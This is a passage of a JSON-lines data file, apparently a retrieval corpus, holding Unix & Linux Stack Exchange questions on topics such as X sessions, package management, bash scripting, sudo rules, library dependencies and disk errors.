(mouse, keyboard etc.). This is what got printed out to terminal (if browser is spawned through it): Failed to open VDPAU backend libvdpau_nvidia.so: cannot open shared object file: No such file or directory I'm using Arch Linux and all system is up to date. Also, I'm dealing w/ this problem for like few weeks now... so it can't be tempory bug in any package because I have upgraded browser and other related packages too. Also, I have tried to downgrade packages as well \u2014 it sadly doesn't help. On system w/ almost the same configuration all works and browser has never crashed even once. I'm using Awesome WM, if it matters somehow, but problem persisted also when I was using Xmonad. It seems that Firefox works, but I would like to keep using Chromium or Chrome. P.S. If any other logs are needed, please tell me in the comments and I will update the question."} {"_id": "19340", "title": "How can I run a separate X session on a different physical display?", "text": "Here's what I need to do. I need to be playing a movie over HDMI to a television screen for my friends while I'm hacking on some personal projects over VGA to a smaller monitor. It's imperative that the screens be separate, as I have a work monitor application running on the VGA screen which will be taking screenshots at random and it'd be nice to not have the screenshots be half Megamind and half Eclipse. I've heard that you can run a different X session on each screen, but I don't know how to do it. Essentially, I need VLC in fullscreen on one screen and my full desktop environment on the other. I'm running Linux Mint 11 (Ubuntu 11.04) 64bit. Is there a way to do this? If so, could I make it so I could switch the X session my mouse is associated with in order to control the movie?"} {"_id": "16133", "title": "How should I search for packages to install on CentOS 5.5?", "text": "_**Backstory:_** Recently, it was explained to me that to upgrade any package via terminal on a linux machine, I will need to use the distributions package management system to install or upgrade the package. Since I use CentOS, which is a RHEL variant, the rpm command will need to be executed in terminal to accomplish this (I believe so). Therefore if I need to upgrade or install a package I will first use the wget command to download the package and then the rpm command to install it. The process is clear till here! _**The actual question:_** However, to use the wget command to download the package, I will need a url that points to the package. How should I find this url? My personal research has shown that there are sites like rpm.pbone.net (the only one I know off) to search for these packages. A search for 'firefox' (selecting search for rpms by name) as the keyword has given results for a whole lot of distributions. CentOS 5 is listed on page 3 but the latest version seems to be 3.6.18. Given that version 5.0.2 is available for Fedora (another RHEL variant), where is the latest version of firefox for CentOS? I am unsure which package should I download to upgrade firefox. _**Plea:_** It'll be great if someone can point out how should I go about searching for packages to install on CentOS. Is there an official site for CentOS packages similar to rpm.pbone.net (which I believe is unofficial). I am currently, just for practice, searching for the mozilla firefox and vlc's latest releases."} {"_id": "16130", "title": "Running mame on Linux", "text": "I tried to install `mame` on Linux, and the icons appear inside the game folder (`xmame`, `xmame.sdl`, `xmame.x11`) but none of them would run. What is the problem? * * * **Edit** : It says they are read-only, but I cannot change permissions, it says, because I am not the owner. So what should I do? Run sudo command?"} {"_id": "16131", "title": "How do I find the X window ID under the mouse pointer in bash?", "text": "From a bash script, is there some way to get the ID of the X window under the mouse pointer? (edit) I need the process to be non-interactive."} {"_id": "150298", "title": "How is whonix blocking UDP traffic (except udp-dns related traffic)?", "text": "I want to know how whonix manages to block unwanted UDP-Traffic i.e. all UDP- traffic but DNS related udp traffic. I looked at the iptable rules both in the Workstation and Gateway. There are no iptable rules in the Workstation. So the Workstation doesn't seem to block UDP-Traffic. However, there are many ip- table rules in the Gateway. I went through the iptable rules of the Gateway one-by-one but I couldn't find any udp-related blocking rule either. So, how is this udp-traffic blocked?"} {"_id": "117479", "title": "Automatic transformation of newlines in shell variable assignment", "text": "This came out of one of my comments to this question regarding the use of `bc` in shell scripting. `bc` puts line breaks in large numbers, e.g.: > num=$(echo 6^6^3 | bc) > echo $num 12041208676482351082020900568572834033367326934574532243581212211450\\ 20555710636789704085475234591191603986789604949502079328192358826561\\ 895781636115334656050057189523456 But notice they aren't really line breaks in the variable -- or at least there are not if it is used unquoted. For example, in fooling around with more pipe in the assignment, e.g.: num=$(echo 6^6^3 | bc | perl -pne 's/\\\\\\n//g') I realized that while there really is an `\\n` in the `bc` output, checking `echo $num > tmp.txt` with `hexdump` shows the `\\n` (ASCII 10) has definitely become a space (ASCII 32) in the variable assignment. Or at least, in the output of unquoted `$num >`. **Why is that?** As fedorqui points out, if you use quotes: `echo \"$num\"`, you get newlines again. This is evident by examining the difference between `echo $num > tmp.1` and `echo \"$num\" > tmp.2` with hexdump; the former contains `\\` (backslash space) whereas the later contains `\\\\\\n` (backslash newline)."} {"_id": "65192", "title": "How to wait for a subprocess used for I/O redirection?", "text": "Consider the following snippet of Bash script: exec 3> >(sleep 1; echo \"$BASHPID: here\") do-something-interesting exec 3>&- wait $! echo \"$BASHPID: there\" When executed, it produces: a.sh: line 4: wait: pid 1001 is not a child of this shell 1000: there 1001: here How can I modify the `wait` line so that it actually waits for the termination of `1001`? In other words, I can I change the script so that the output becomes: 1001: here 1000: there"} {"_id": "65190", "title": "Creating a Safe Web Server", "text": "Web server hosts multiple websites. Multiple users update each website. ` User home directory /home/user1 /home/user2` ` Web directory /var/www/site1 /var/www/site2` Each user uses SFTP to upload files to their home directory. Each user is chrooted to their home directory. Each user has the /var/www directory mounted in their home directory. `mount --bind /var/www/ /home/user1/ mount --bind /var/www/ /home/user2/` With 2 users, this isn't a problem but these teams will grow quickly. Each time a search is conducted, a file could appear in multiple places. SCM using .git would be the preferred method but is not possible for various reasons. **Is this the correct approach (mount --bind) since SFTP needs to be used?** Are there other security measures to take?"} {"_id": "65191", "title": "Has the Unix Philosophy been abandoned in web application design?", "text": "The Unix Philosophy encourages the use of small, generically reusable cooperating programs that collaborate with forms of inter-process communication like pipes, fifos, sockets, as opposed to shared memory space and linkage. The programs MH and uzbl are often given as examples of applications that exemplify the Unix Philosophy in their design. If this is the case, isn't true that Unix Philosophy has been totally abandoned in the design of web applications? Almost all web applications that process requests are now built as single large monolithic long-running processes that handle the whole request/response cycle (aside from calls to an external database program) not only for one resource, but all resources across a whole domain. Is this primarily because piping out to a collection of external programs to construct a dynamic response to a web request has too much process startup- time overhead? I can see how this is the case if you want to pipe out to Ruby or Python scripts, but perhaps if you use a language like Haskell which you can compile, any real obstacles to following the Unix Philosophy in building web apps go away?"} {"_id": "150295", "title": "ssh to different server based on user?", "text": "Is there a simple way to have my router forward ssh logins for certain user names to a different server on my internal network? For example, ssh router@url would log me in as router on the router and ssh steve@url would log me in as steve on the server. Also, this needs to be a server side solution because I want it to be simple and easy to use."} {"_id": "65194", "title": "networkmanager with gnome 3.6.2 in Arch Linux", "text": "Every `networkmanager` I've tried is \"incompatible with this version\" in gnome's settings panel. I can still connect from command line fine, but that's just kind of a pain. **Solutions I have tried:** * `pacman -Syu networkmanager` installed everything fine, but didn't solve the problem. * `pacman -S gnome-extra` installed everything fine, but didn't solve the problem. * `pacman -S gnome-network-manager`: pacman says \"package not found\" (the package is outdated according to wiki) * `pacman -S network-manager-applet` installed everything fine, but didn't solve the problem. The arch wiki says `network-manager-applet` should suffice for gnome, but the GUI won't support it, which is inconvenient. Any help is appreciated."} {"_id": "88613", "title": "How is it possible to sort ps command's CPU field?", "text": "I'm trying to make a small command that will find the processes that use the most CPU power. Firstly, I use `ps aux > file.txt` and then `cut -c 16-20 file.txt | sort -n | tail -5`. The result I get is this: 1.0 2.7 8. 14.5 14.5 So my question is how can I have both the `%CPU` usage and the other fields outputted together?"} {"_id": "141319", "title": "vdsm service won't start", "text": "I am currently evaluating Red Hat Enterprise Virtualization and have managed to set up the management server and the bare metal hypervisor. Now I'm trying to add a regular box running RHEL server 6.5 to the data center as a host. The add new host process starts fine and installs all the packages successfully. But after a certain time it fails saying network communication failure. From `/var/log/ovirt-engine/engine.log` I figured out this was caused by `vdsmd` service not restarting properly on the target. And indeed when I manually try to start the service at the host itself, it fails. # service vdsmd status VDS daemon is not running, and its watchdog is running # service vdsmd start vdsm: already running [ OK ] vdsm start [ OK ] # service vdsmd status VDS daemon is not running, and its watchdog is running The log has the following error: Jul 8 16:34:46 respawn: slave '/usr/share/vdsm/vdsm --pidfile /var/run/vdsm/vdsmd.pid' died too quickly, respawning slave Jul 8 16:34:47 python: vdsm user could not manage to run sudo operation: (stderr: ['sudo: sorry, you must have a tty to run sudo']). Verify sudoer rules configuration I tried commenting out and removing the \"Defaults requiretty\" line in `/etc/sudoers` file, but I keep getting the same error. As i'm evaluating RHEV, I am not entitled to Red Hat support and have to fix it myself. Any ideas on what to do ?"} {"_id": "153923", "title": "Archlinux ARM Rasperry Pi login buffer display and decryption fail", "text": "I have put the Archlinux Arm on my SD card and the first time I have done this it was all correct and worked well but I had to \"reinstall\" everything for several reason. So now I am doing the same steps as before but I getting a weird \"problems\". When I first started everything seems normal than I update the system and install \"sudo mkinitcpio rsync\". When I now reboot it and see the login screen it looks like this: alarmpi login: [ 14.9646851 smsc95xx 1-1.1:1 eth0 link up, 100Mbps, full-dupley, lpa 0x41E1 And I have to first press Enter to login and when I wait a bit some new lines appear they look like the following one: [ 602.262297] bcm2708_fb_blank blank_mode=1 I want to encrypt a part of my SD card and I have followed this https://gist.github.com/pezz/5310082 instructions which worked the first time just fine, as I am having a German keboard I need to use \"keyboard keymap encrypt\" in the mkinitcpio.conf file, but I have not able to decrypt it, it is always returned that there is no such key, although I am preatty sure I am doing the same steps as before when it has worked quite well and nicely. So, I have made a test, I have used the word \"root\" as my keyphase for my encryption. This works and I can boot but if I am using the following key: \"X\u00f6&(4n=%YF3\u00dc!BN\" it does not work. Could anybody give me a hint why? Are there any characheters I am not allowed to use, although I am using the German keyboard layout de-latin1 an I do load keymap after keyboard, so the needed keyboardmaps should be loaded correctly, although it should have worked I have tested this with the keyphrase \"y\" which was on the right place as y and z poition are exchanged on US and Germany keyboard layouts. Also when I need to open the encrypted volume after I have created it the key works. I am looking forward to hear from you. :-) King regards, Greeneco"} {"_id": "153920", "title": "How does sudo decide whether a command is only executable by sudoers with ALL rights?", "text": "I just wondered why on a Debian system with sudo installed a default user can execute `ls` but not `ifconfig` since the binaries do have the same rights: -rwxr-xr-x 1 root root 114032 Jan 26 2013 /bin/ls -rwxr-xr-x 1 root root 72296 Sep 7 2012 /sbin/ifconfig So I suppose there must be some kind of database or policy that tells the system who's allowed to execute a command and who is not, but where do I find it? It can't be `/etc/sudoers` since in that file one only defines who is a root sudoer and who is not just like that: %admin ALL=(ALL) ALL john ALL=/usr/sbin/useradd, /usr/sbin/userdel, /usr/bin/passwd So `john` wouldn't be able to execute `/sbin/ifconfig`, but how does the system know he's not allowed?"} {"_id": "120714", "title": "Equivalent of memmove on files: copy a range of bytes to an earlier position", "text": "What is an equivalent of memmove on files with the same input and output file, which works with large files? `dd` works when I move the file contents towards the right, but not if I move the contents left, since there's no handling of overlap. `ddrescue` has a reverse copy, but refuses to work on the same input & output file."} {"_id": "120711", "title": "Buffer each line locally on a serial terminal", "text": "I use kermit to connect to a device over serial. The device is quite \"dumb\" and doesn't have any fancy shell. It is really just receiving commands over serial and sending outputs back over serial. The problem is I make a type every other word, and I have no way to backspace, so I simply have to start over again. Is there some way I can get kermit (or equivalent) to buffer each line locally for editing before sending it down the line when I press enter, so that I can backspace if I need to?"} {"_id": "10999", "title": "Unable to change the default printer", "text": "When I use the command $ sudo lpoptions -d Deskjet-F300-series it won't change the default printer. $ lpstat -a Deskjet-F300-series accepting requests since Sun 10 Apr 2011 11:02:12 AM CEST Deskjet-F4200-series accepting requests since Mon 04 Apr 2011 03:39:17 PM CEST Deskjet_F4200 accepting requests since Mon 04 Apr 2011 03:39:17 PM CEST HP_Deskjet_F4200_series accepting requests since Mon 04 Apr 2011 03:39:17 PM CEST $ lpstat -d system default destination: HP_Deskjet_F4200_series $ lpstat -p printer Deskjet-F300-series is idle. enabled since Sun 10 Apr 2011 11:02:12 AM CEST Printer is now online. printer Deskjet-F4200-series disabled since Mon 04 Apr 2011 03:39:17 PM CEST - Unplugged or turned off printer Deskjet_F4200 disabled since Mon 04 Apr 2011 03:39:17 PM CEST - Unplugged or turned off printer HP_Deskjet_F4200_series disabled since Mon 04 Apr 2011 03:39:17 PM CEST - Unplugged or turned off Do you know where is the fault? Thank you"} {"_id": "64828", "title": "Can't install 32 bit gstreamer-ffmpeg normally, library can't find other 32 bit libs", "text": "I'm on Ubuntu 12.04 64 bits and I'm trying to get a game (GTA SA) working in wine, but it keeps crashing. After reading error logs it seems I needed some 32 bit versions of gstreamer, probably to play the intro video. I already have `ia32-libs`, because I read somewhere I will need that in order to run 32 bit software. I first tried: sudo apt-get install gstreamer0.10-ffmpeg:i386 Which returns: gstreamer0.10-ffmpeg:i386 : Depends: libavcodec53:i386 (>= 4:0.7.3-1) but it is not going to be installed or libavcodec-extra-53:i386 (>= 4:0.7.3-1) but it is not going to be installed And it also depends on libavformat, libpostproc and libswscale with about the same error. So I kept searching and found a nice tool, getlibs, which allows you to install 32 bit libraries. I think it just places them in the `/usr/lib32` directory, which probably isn't the best way to do this, but I tried it anyway. So I installed the 32 bit libraries with getlibs which wine was complaining about. Now I got different errors, basically the 32 bit library is referencing other libraries which it now can't find. For example one of the errors says: Failed to load plugin '/usr/lib32/gstreamer-0.10/libgstffmpeg.so': libavformat.so.53: cannot open shared object file: No such file or directory So my initial thought was correct, since it now uses the 32 bit version. Now I was trying to figure it out with ldd to see where the library references other libraries: # This one is fine ldd /usr/lib/gstreamer-0.10/libgstffmpeg.so | grep avformat libavformat.so.53 => /usr/lib/x86_64-linux-gnu/libavformat.so.53 (0x00007f8314181000) # This one isn't ldd /usr/lib32/gstreamer-0.10/libgstffmpeg.so | grep avformat libavformat.so.53 => not found So indeed, libgstffmpeg.so can't find the correct libavformat.so. I tried installing the 32 bit version of libavformat with getlibs again, which placed it in `/usr/lib32/i386-linux-gnu/libavformat.so`. But ldd still tells me it can't find libavformat. Then I tried to make a symbolic link in the same directory but named it `libavformat.so.53` and even made a symlink to `/usr/lib/i386-linux-gnu/libavformat.so.53', but both give me the same error. Now I am sure this really isn't the correct way to go, but I didn't know the right way to do it. So what is the correct way to do this, or does gstreamer0.10-ffmpeg simply doesn't have 32 bit or multilib support? And how can I find out what the directory is, where libgstffmpeg (or any library I guess) checks for it's 32 bit libs it is referencing?"} {"_id": "10994", "title": "How can I switch one user to another in Freebsd?", "text": "How can I switch one user to another in Freebsd? For examples, I am user david now and I want to change to user Bob. This is a personal OS for my study. not a server. I searched it, but only got sites about how to create new user. Thank you."} {"_id": "10993", "title": "Does research unix have any binary editor?", "text": "I cannot find any binary editor in v7 unix by reading volumn 1 of the manual. Is there any?"} {"_id": "10991", "title": "How do I execute a script later?", "text": "I need to compile gcc45 on my computer and that's a lengthy and resource- intensive process for my computer, so I'd prefer to have it do it while I sleep (at night). What's the closest thing to: $ @2300 sudo port install gcc45"} {"_id": "101375", "title": "How to create shell script command so that it will self-detruct after performing it's task?", "text": "I want to make command run in Ubuntu 13.10 as soon as I login. I know for that I have to add certain command in `~/.profile` file. That's not the problem. I want to certain line of that `~/.profile` file to be deleted and to be restored in it's original state. I want to perform that task just one time, so any help regarding that issue would be appreciated. ### EDIT #1 I'm attempting to run `sudo startx` as soon as I login. I've found that using that command gives me a GUI temporarily. But, to open some file with a GUI, I need to use `gnome-open `."} {"_id": "65441", "title": "Is it a bad idea to not have a swap partition on an embedded linux setup?", "text": "I have a small embedded linux kernel and file system created via buildroot that is installed onto a compact flash drive running on an x86 board. I am using an initramfs (due to power loss concerns) but mounting a small number of directories on ext3 partitions on the CF drive for data that has to be persistent. However, recently I have been reading about swap partitions and their uses and as my current setup does not employ a swap partition at all. I am wondering if this is safe? I do not anticipate that the applications running on the device will be using a great deal of memory but is it better to create a swap partition regardless? I am very conscious of the limited writes that can be made to CF devices so if it is not vital then I would prefer not to use a swap partition. What would be the worst case scenario if I go ahead without a swap partition?"} {"_id": "65442", "title": "Load average per process or user", "text": "is it possible to obtain load average values (as displayed by `uptime`) individually per process or user. I would like to be able to see what user is causing what load. `top` is not really suitable because it only displays instantaneous values. Any ideas?"} {"_id": "65445", "title": "Copy files excluding x,y,z causing error in shell script", "text": "I'm not well versed in shell scripting but I imagine this to be a painfully easy fix but its eluding me. I need to copy the contents of a directory excluding a number of files. I have a command that works when I enter it into the terminal, but when its run in a shell script it fails with a syntax error or just doesn't work. The command in question is: cp -r path/to/!(dir1|dir2|dir3) destination Any help would be greatly appreciated!"} {"_id": "150745", "title": "Switching from LMDE to debian testing + LMDE", "text": "I currently have LMDE UP8 with cinnamon installed. I want to add debian testing repos for all my packages but I still want to keep LMDE repos for specific packages like cinnamon, firefox, flashplayer, etc. My `/etc/apt/sources.list` is blank. `/etc/apt/preferences.d/official-package-repositories.pref` Package: * Pin: release o=linuxmint Pin-Priority: 700 Package: * Pin: origin packages.linuxmint.com Pin-Priority: 700 Package: * Pin: release o=Ubuntu Pin-Priority: 500 How can I add debian testing repos?"} {"_id": "150744", "title": "Fluxbox, bbkeys and java", "text": "I have installed `bbkeys` so I could choose a window when `ALT-TAB`ed, but the java applications are not amoung the selectable. Is there anything special that needs to be done for a java app to be amoung the selectable applications?"} {"_id": "84847", "title": "Is there an easy way to log all commands executed, including command line arguments?", "text": "I am trying to find how to log a specific instantiation of `rrdtool` to see whether the path it is receiving is incorrect. I know I could wrap the executable in a shell script that would log the parameters, but I was wondering if there was a more kernel-specific way to monitor for that, perhaps a filesystem callback that sees when a particular /proc/pid/exe matches a given binary?"} {"_id": "116594", "title": "How do I run a script just before halt using LSB headers on Raspbian", "text": "I'm building a shutdown button for my Raspberry pi, and for that I have a python script that needs to change a GPIO pin on my Raspberry Pi just before the system runs the halt script. Now Raspbian uses LSB headers to determine the order in which scripts are run at shutdown, but I can't for the life of me figure out what to put in the header so that the script will run AFTER everything except /etc/init.d/halt has run. The problem right now is that the script runs too soon (it always installs at K01xx), thus cutting the power before all other services have shut down properly. I tried setting a custom priority as described in the guide here: http://www.debuntu.org/how-to-managing-services-with-update-rc-d/, but that does nothing as the command just says \"using dependency based boot sequencing\", with the end result being the same as before. I tried manually renaming the K01xx script in /etc/rc0.d to K09xx, so that it would be the last one before the halt command in the directory. But that had no effect either. Any suggestions? My init.d script: #! /bin/sh ### BEGIN INIT INFO # Provides: shutdown # Required-Start: # Required-Stop: # Default-Start: 2 3 4 5 # Default-Stop: 0 # Short-Description: Detect shutdown button ### END INIT INFO PATH=/sbin:/usr/sbin:/bin:/usr/bin . /lib/init/vars.sh . /lib/lsb/init-functions do_start() { if [ -x /home/pi/bin/shutdown.py ]; then [ \"$VERBOSE\" != no ] && log_begin_msg \"Starting listening for shutdown button\" python /home/pi/bin/shutdown.py & ES=$? [ \"$VERBOSE\" != no ] && log_end_msg $ES return $ES fi } do_stop() { if [ -x /home/pi/bin/shutdown_pin.py ]; then [ \"$VERBOSE\" != no ] && log_begin_msg \"Lowering pin for complete shutdown\" python /home/pi/bin/shutdown_pin.py ES=$? [ \"$VERBOSE\" != no ] && log_end_msg $ES fi } case \"$1\" in start) do_start ;; restart|reload|force-reload) echo \"Error: argument '$1' not supported\" >&2 exit 3 ;; stop) do_stop ;; *) echo \"Usage: $0 start|stop\" >&2 exit 3 ;; esac"} {"_id": "116595", "title": "How do I set default font for all Qt5 applications?", "text": "In Qt4, there used to be a tool called qtconfig that allowed you to set the fonts and other stuff. It also picked up the settings from KDE4's control panel. I'm working with Qt5 now (binary distribution downloaded from qt-project.org), but the default font in all Qt5 applications is too small for me. Is there any way I can increase it to match the rest of the desktop? My default Qt5 style is Fusion. I tried playing with ~/.config/QtProject.conf (copying the Qt4 settings there), but it didn't help. I'm using openSUSE 12.2 x86-64."} {"_id": "116597", "title": "contents of xp cd is not visible", "text": "I'm using Ubuntu 13.04. I want to take an ISO copy of XP installation CD but when I insert CD it's seen as empty CD. Is there any way to access the content of CD?"} {"_id": "119546", "title": "Starting with bash: -lt and -gt arguments", "text": "I'm starting with bash and I found the following: if test $first -lt $second then echo $first is lower than $second else if test $first -gt $second then echo $first is higher than $second else echo $first and $second are equals fi fi For reading the script and executing it, I know what it does, but not what -lt and -gt are for. Can somebody tell me what is the name of that kind of 'tool' and what they(-lt and -gt) do? Thanks!"} {"_id": "116591", "title": "Why am I getting apparmor error messages in the syslog about NTP and LDAP?", "text": "On my newly installed Ubuntu 12.04 machine, with `ntp` and `slapd` installed, the following messages appear in `/var/log/syslog` at regular intervals: Feb 23 18:54:07 my-host kernel: [ 24.610703] type=1400 audit(1393181647.872:15): apparmor=\"DENIED\" operation=\"open\" parent=1 profile=\"/usr/sbin/ntpd\" name=\"/etc/ldap/ldap.conf\" pid=1526 comm=\"ntpd\" requested_mask=\"r\" denied_mask=\"r\" fsuid=0 ouid=0 I've searched, but can't find any info on what may be causing these messages and how to fix the problem. Can anyone shed any light on what's causing this and what to do about it?"} {"_id": "116593", "title": "VMD X11 session over ssh", "text": "I have a remote compute server on which I would like to run VMD. Every time I start the application, it crashes with the following error report: Info) VMD for LINUXAMD64, version 1.9.1 (February 1, 2012) Info) http://www.ks.uiuc.edu/Research/vmd/ Info) Email questions and bug reports to vmd@ks.uiuc.edu Info) Please include this reference in published work using VMD: Info) Humphrey, W., Dalke, A. and Schulten, K., `VMD - Visual Info) Molecular Dynamics', J. Molec. Graphics 1996, 14.1, 33-38. Info) ------------------------------------------------------------- Info) Multithreading available, 48 CPUs detected. Info) Free system memory: 102376MB (79%) Warning) Detected a mismatch between CUDA runtime and GPU driver Warning) Check to make sure that GPU drivers are up to date. Info) No CUDA accelerator devices available. Warning) Detected X11 'Composite' extension: if incorrect display occurs Warning) try disabling this optional X server feature. XRequest.154: BadAlloc (insufficient resources for operation) 0x17 XRequest.154: GLXBadContext 0x3800001 Segmentation fault I heard from other users of the same server that they did not have any problems, so I assume this must be an issue with the X window system on my local machine. Further points: * I connect to the server using `ssh -X`. * Opening a remote `xterm` window works. * Local X windows version: 1.13.0"} {"_id": "116598", "title": "How to select which graphics card to use?", "text": "I have a desktop with an integrated graphics card, which i want to use, and a PCI graphics card. I would like to display video through the integrated graphics, and use the PCI card for CUDA based tasks, and not bog it down with video generation. Is there a way to select which one to use, and make it permenant?"} {"_id": "2213", "title": "copy recursively except hidden directory", "text": "How do I copy recursively like `cp -rf *`, but excluding hidden directories (directories starting with .) and their contents?"} {"_id": "2212", "title": "Why do Unix-heads say \"minus\"?", "text": "A couple of weeks ago I attended a talk on Git by someone who seemed to be from a Windows background. I say \"seemed to be\" because he kept saying \"dash\" when referring to command-line options. I then recalled something that I found curious in my early days of learning Linux; that is, when referring to options, the resident Unix-heads always said \"minus\". That is: rm -rf /var/tmp/bogus/junk Would be said \"arr em minus arr ef\" as opposed to \"arr em dash arr ef\". Why is this?"} {"_id": "97779", "title": "Allowing rename but not moving to other directory", "text": "Users can upload/delete/rename files via `vsftp` server and everything works well except they can also move files across directories. Is it possible to allow renaming of files but disallow moving them around? Example, /ftp/work/xls/list.xls # can be deleted/renamed but should not moved to ie. 'doc' /ftp/work/doc/list.doc # same thing, should not be moved elsewhere"} {"_id": "2219", "title": "Buffer overflow attacks", "text": "I just learnt today in a Distributed Systems class that there is an address space allocated for every user by the kernel, and if a user wants to get the su privilege, he needs to shift to the kernel address space. Is this the basis for buffer overflow attacks, where a user, if exceeds his address space, may be able to access the kernel address space or just overwrite it?"} {"_id": "96506", "title": "Safe to disable boot fsck on read-only ext3 file system?", "text": "I have a large, frequently read, ext3 file system mounted read-only on a system that is generally always hard power cycled about 2-3 times per day. Because the device is usually powered off by cutting the power, fsck runs on boot on that file system, but for this application fast boot times are important (to the second). I can disable boot time checks on the file system in fstab, but my question is, is it safe to do this? Given that the file system is mounted read-only but is never unmounted properly, is there _any_ risk of accumulating file system corruption over a long period of time if I disable the boot time check?"} {"_id": "43022", "title": "How can I restart a network interface?", "text": "How can I restart a network interface? I have a vm that doesn't update its IP address correctly when switching between home and work. The vm runs Ubuntu server and uses a bridged network adapter."} {"_id": "43027", "title": "Can /mnt/hgfs/'shared folder' be used as apache root?", "text": "I have an Ubuntu Server (12.04) running on my development machine. It is in a VM. I have succeeded with the task of setting up Apache2, MySQL, and PHP. I can access the server from my host browser by pointing it to the IP. Hurray! My next task is to set up the filesystem so that I can edit project files on my host computer (Mac OS X 10.7) hit save and view them in my browser through the Linux server. How I am trying to accomplish this is by sharing a folder on my Mac with the VM, which mounts to `/mnt/hgfs/foldername`. Then I pointed my virtual host in Apache2 to that folder. `chmod` the folder to `777` for testing purposes and tried to access the files from my Mac. I get a `403 Forbidden`. How can I set up the VM to share a folder with my Mac so that I don't have to FTP all my files to the server? A thought a had was `rsync` the `/mnt/hgfs/*` folder to the `public_html`"} {"_id": "43025", "title": "How to allow mysql remote connections via particular interface", "text": "I have a `10.237.49.251` IP on `eth0` and another IP on another interface How do I enable remote mysql calls on `eth0` device?"} {"_id": "97676", "title": "How to find the driver (module) associated with a device on Linux?", "text": "On Linux, given: * a device, for example `/dev/sda`, * and its major and minor numbers, for example `8, 0`, how can I know which module / driver is \"driving\" it? Can I dig into `/sys` or `/proc` to discover that?"} {"_id": "97677", "title": "Grep expression with special file names", "text": "I have to go through some regular files in directories and find those files, that have their own name in its content. In the following piece of script is a cycle in which I am going through paths and using grep to find the file's name in its content. What is surely correct is $something:q - is array of paths where i have to find files. The next variable is name in which is only name of current file. for example: /home/computer/text.txt (paths) and: text.txt (name) And my biggest problem is to find names of files in their content. It's quite difficult for me to write correct grep for this, cause the names of files and directories that I am passing through are mad. Here are some of them: /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/!_1 /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/dam/$user/:e/'/-r /home/OS/pocitacove/testovaci_adresar/z/test3/skusime/ taketo/ taketo /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/.-bla/.-bla/.a=b /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/.-bla/.-bla/@ /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/.-bla/.-bla/: /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/.-bla/.-bla/'ano' foreach paths ($something:q) set name = \"$paths:t\" @ number = (`grep -Ec \"$name\" \"$paths\"`) if ($number != 0) then echo -n \"$paths \" echo $number endif @ number = 0 end"} {"_id": "97675", "title": "Debian: package updates in stable distribution", "text": "I am running Debian Wheezy, which is the current stable Debian distribution. In my `/etc/apt/sources.list`, I have something like the following: deb http://ftp.de.debian.org/debian wheezy main deb http://ftp.de.debian.org/debian-security/ wheezy/updates main When I run `apt-get update` and `apt-get upgrade`, I would expect that only security updates will be installed. However, I see that there are other packages which want to be updated, such as: dpkg (1.16.10) -> (1.16.12) could somebody please explain what is the debian update policy? Why were these packaged updated? I was under the impression, that only security issues are being fixed in stable distribution."} {"_id": "97673", "title": "How to change gnome session locale?", "text": "How do I change the default locale for my gnome session? I created `/etc/default/locale-local` with this content: LANG=pt_PT.UTf-8 LC_MESSAGES=en_US.UTF-8 and added this to `/etc/pam.d/gdm3`, `/etc/pam.d/gdm3-autologin`, `/etc/pam.d/gdm-welcome`, /etc/pam.d/login, `/etc/pam.d/su` and `/etc/pam.d/sshd`: session required pam_env.so readenv=1 envfile=/etc/default/locale-local What am I missing?"} {"_id": "141213", "title": "Eclipse crash with Fedora 19", "text": "I'm trying to work with eclipse Galileo with Fedora 19. Executing `./eclipse` loads and opens normally, but when I type some java code on the editor the application crashes and closes instantly. This happens in the moment when the popup with the tips should appear, e.g. when you type an object instance name followed by a dot, and the Eclipse shows the possible methods. And in the prompt appears this message: GLib-GObject:ERROR:gobject.c:4127:g_weak_ref_set: assertion failed: (weak_locations != NULL) I've tried to start with the `-vm` argument point to jr6, jre7 and openjdk and the error persists."} {"_id": "97773", "title": "Meaning of the following linux commands", "text": "cat \"$1\" > /tmp/file.$$ 2>/tmp/file0.$$ grep \"*\" /tmp/file.$$ >/tmp/file0.$$ I understood that in the `cat` command, if an error occurs, the error will be shown in `file0.$$` and if it does not, then contents will be shown in `file.$$`. What I don't understand is what `$1` is. Also what is happening in the `grep` command."} {"_id": "46210", "title": "Understanding different Linux Distros", "text": "I'm having a little bit of confusion when understanding linux based OS's. When I download the newest version of Mint and Ubuntu, aren't they the \"same\" at their core (kernel)? It just seems that they have different GUI's? Isn't a GUI technically just a program that runs on startup of a computer? Same as with windows (dos is the core but explorer.exe is the gui). Is anyone able to explain this? With the sudo apt-get command can't I install Ubuntu from a mint Terminal? I know that this is a mess of questions, but hopefully someone can clarify the differences between multiple distros before the GUI appears, and then after the GUI appears."} {"_id": "46211", "title": "How do I achieve higher resolution than physical resolution of an LCD?", "text": "I'm using the original `EeePC` with screen resolution of `800x480`. Some screens and dialogs do not fit into that resolution, so I have to use `Alt- Drag` to move windows around to reveal the bottom part of the window, but this doesn't work for a particular application I'm going to use since it's basically a fullscreen DirectX app running via wine, so some buttons are just cut off by the edge of the screen. Is there a way to make `Xorg` desktop to render at higher resolution (`1024px` wide or so) and then transparently scaled down to the display's native resolution, so the applications think the resolution is bigger? I do not care much about output getting blurred or text getting too small. Alternatively, is there a way to switch the video adapter to the resolution above physical resolution of the LCD screen and have the screen/video adapter itself to handle scaling (as used to be possible with CRT monitors)? I'm using **Lubuntu 12.04** so I guess have `Compiz` installed. There is Scale plugin in `Compiz`, but I don't think it does what I need."} {"_id": "46214", "title": "Trapping \"READ FPDMA QUEUED\"", "text": "Recently I encountered a kernel message: ata3.00: exception Emask 0x0 SAct 0x1 SErr 0x0 action 0x0 ata3.00: irq_stat 0x40000008 ata3.00: failed command: READ FPDMA QUEUED ata3.00: cmd 60/08:00:98:b2:78/00:00:13:00:00/40 tag 0 ncq 4096 in res 41/40:08:9a:b2:78/00:00:13:00:00/00 Emask 0x409 (media error) ata3.00: status: { DRDY ERR } ata3.00: error: { UNC } ata3.00: SB600 AHCI: limiting to 255 sectors per cmd ata3.00: SB600 AHCI: limiting to 255 sectors per cmd ata3.00: configured for UDMA/133 sd 2:0:0:0: [sda] Unhandled sense code sd 2:0:0:0: [sda] Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE sd 2:0:0:0: [sda] Sense Key : Medium Error [current] [descriptor] Descriptor sense data with sense descriptors (in hex): 72 03 11 04 00 00 00 0c 00 0a 80 00 00 